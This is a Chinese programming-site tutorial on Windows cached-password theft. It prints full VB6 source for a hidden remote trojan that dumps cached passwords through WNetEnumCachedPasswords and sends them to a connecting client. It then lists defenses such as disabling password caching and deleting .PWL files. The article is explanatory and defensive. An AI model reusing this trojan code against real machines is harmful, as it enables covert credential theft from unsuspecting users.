程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> Visual Basic語言 >> VB綜合教程 >> 防止admin888被遠程盜取的簡易方法

防止admin888被遠程盜取的簡易方法

編輯:VB綜合教程
->打開許多黑客網站的免費下載清單,我們會發現大量遠程攻擊軟件,其中遠程盜取他人密碼便是這些軟件的常見功能之一。“知己知彼”才能“有的放矢”。因此本文在分析遠程盜取密碼的原理後,有針對性地給出對策。->->一、遠程盜取密碼的原理->->我們通過一個示例程序來說明(VB6.0)。->->1.遠程控制端程序(frmClient.frm)->->在窗體上建五個控件:一個名為tcpClient的Winsock控件用於通訊;一個名為txtIP的TextBox控件用於填寫對方的IP地址;一個名為txtOutput的TextBox控件用於顯示盜取的對方電腦的密碼;一個名為cmdConnect的CommandButton控件用於執行連接;一個名為cmdGet_Pass的CommandButton控件用於取回密碼(見圖一)。->->

->->執行時,首先填入對方的IP地址,然後執行連接。若連接成功,則該按鈕變虛,同時“取密碼”按鈕變為可用狀態。圖二顯示了取回密碼後的程序外觀。->->

->->從圖二中可以看出,被盜取回來的密碼主要包括:局域網內某些加鎖硬盤的解鎖碼(信息顯示區的第一行)、互聯網使用中的一些密碼(第二、三行)、撥號上網時使用的用戶名和密碼(第六至九行)等。->->遠程控制端的完整源代碼如下:->->'======================frmClient.frm->->OptionExplicit->->PrivateSubcmdConnect_Click()'執行連接->->tcpClient.RemoteHost=txtIP.Text->->tcpClient.RemotePort=1001->->tcpClient.Connect->->EndSub->->->->PrivateSubcmdGet_Pass_Click()'請求返回密碼->->tcpClient.SendData"Passwords"->->EndSub->->->->PrivateSubtcpClient_DataArrival(ByValbytesTotalAsLong)->->DimstrDataAsString->->tcpClient.GetDatastrData->->IfstrData="ConnectOK"Then->->cmdConnect.Enabled=False'將“連接”按鈕置虛->->cmdGet_Pass.Enabled=True'同時將“取密碼”按鈕置為可用狀態->->Else->->txtOutput.Text=strData'將返回的密碼填入顯示區->->EndIf->->EndSub->->->->2.潛伏在主機端的程序(frmServer.frm)->->窗體上只有兩個控件:一個Winsock控件用於通訊,一個TextBox控件用於密碼暫存。同時,窗體的ShowInTaskbar屬性和Visible屬性均設為False,以便該程序即使在任務欄中也不可見。->->潛伏端程序及其附屬模塊(Passwords.bas)如下:->->'======================frmServer.frm->->OptionExplicit->->->->PrivateSubForm_Load()->->'將LocalPort屬性設置為一個整數。然後調用Listen方法。->->tcpServer.LocalPort=1001->->tcpServer.Listen->->EndSub->->->->PrivateSubtcpServer_ConnectionRequest(ByValrequestIDAsLong)->->'檢查控件的State屬性是否為關閉的。->->'如果不是,在接受新的連接之前先關閉此連接。->->IftcpServer.State<>sckClosedThentcpServer.Close->->'接受具有requestID參數的連接。->->tcpServer.AcceptrequestID->->tcpServer.SendData"ConnectOK"->->EndSub->->->->PrivateSubtcpServer_DataArrival(ByValbytesTotalAsLong)->->'為進入的數據聲明一個變量。然後調用GetData方法。->->DimstrDataAsString->->tcpServer.GetDatastrData->->IfstrData="Passwords"Then->->CallReturn_Password_Cached'調用模塊Passwords.bas中的函數->->tcpServer.SendDatatxtSendData.Text'將TextBox控件中的信息向遠程傳送->->EndIf->->EndSub->->->->'======================Passwords.bas->->OptionExplicit->->DeclareFunctionWNetEnumCachedPasswordsLib"MPR.DLL"_->->(ByVals1AsString,ByVali1AsInteger,ByValb1AsByte,_->->ByValproc_addrAsLong,ByVall1AsLong)AsLong->->->->TypeCached_Passwords->->idAsInteger->->num_of_NameAsInteger'當前資源名的長度->->num_of_PassAsInteger'當前密碼的長度->->flagAsByte->->the_TypeAsByte'類型->->data(1To1024)AsByte'包含當前資源名和密碼的數據區->->EndType->->->->PublicFunctionget_pass(PASSAsCached_Passwords,_->->ByValnouseAsLong)AsInteger->->Dimi,temp1$,temp2$->->Fori=1ToPASS.num_of_Name->->temp1=temp1 Chr(PASS.data(i))'得到當前資源名->->Next->->Fori=PASS.num_of_Name 1To(PASS.num_of_Name PASS.num_of_Pass)->->temp2=temp2 Chr(PASS.data(i))'得到當前密碼->->Next->->'將當前資源名和密碼填入TextBox控件中進行匯總->->frmServer.txtSendData.Text=frmServer.txtSendData.Text Chr(13)_->-> Chr(10) temp1 ":" temp2->->get_pass=True->->EndFunction->->->->PublicSubReturn_Password_Cached()->->Dimi,temp1$,long1AsLong,byte1AsByte->->byte1=&HFF:i=0:long1=0:temp1=""->->'將上面的函數(get_pass)之地址作為參數,調用WNetEnumCachedPasswords->->'WNetEnumCachedPasswords會自動根據資源總數多次調用get_pass函數。->->CallWNetEnumCachedPasswords(temp1,i,byte1,AddressOfget_pass,long1)->->EndSub->->->->可以看出,上述程序的關鍵所在是API函數WNetEnumCachedPasswords的調用,該函數屬於Microsoft的“網絡接口動態鏈接庫”,即“MPR.DLL”(在system目錄下)。WNetEnumCachedPasswords函數的作用是將Windows系統在啟動時緩存在內存中的用戶密碼提取出來並傳給用戶函數。->->因此,正是Windows自身的“密碼緩存”設計,幫助遠程入侵者輕松獲取密碼。->->二、防止密碼被盜取的方法->->關閉“密碼緩存”是解決問題的根本。->->可以用另一個API函數WNetCachePassword來實現。但也有幾個更簡易的方法:->->方法一:修改配置文件->->修改Windows目錄下的System.ini文件,在其[NETWORK]部分中加入一行:->->PasswordCaching=no->->方法二:修改系統注冊表->->首先定位到注冊表的下述位置:->->HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion->->PoliciesNetwork->->然後新建一個DWORD值:->->DisablePwdCaching=1->->方法三:不登錄系統或不保存密碼->->只有成功登錄系統,Windows的“密碼緩存”功能才會開啟。因此在一般的單用戶情況下,“不登錄系統”不僅是安全的而且在功能上也沒什麼損失。如圖三所示,在登錄時選擇“取消”鍵。->->

->->或者干脆從不保存密碼,如圖四所示,將“保存密碼”前的“ˇ”去掉。->->

->->方法四:刪除“.PWL”文件->->“.PWL”文件一般保存在Windows目錄下,它們以加密形式記錄了所有用戶密碼。系統的“密碼緩存”功能正是通過解密“.PWL”文件來實現的。->->非常令人不安的是,一些黑客網站公布了解密“.PWL”文件的算法。因此,即使“密碼緩存”已被關閉,只要入侵者能訪問到硬盤上的“.PWL”文件,用戶密碼依然並不安全。->->所以,刪除“.PWL”文件是一勞永逸的辦法。->->三、提高系統的整體安全性->->從上面的分析和例子我們還可以看出,阻止黑客程序植入本機也是解決問題的關鍵。常用的方法有:不需要IP地址時,清除掉本機的IP設置;加裝針對內部局域網和外部互聯網的防火牆;謹慎打開E-Mail中的附件;謹慎使用不知來源的可執行程序;以及設置主板級開機密碼以防止本機被直接侵入,等等,此處不再贅述。->->

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved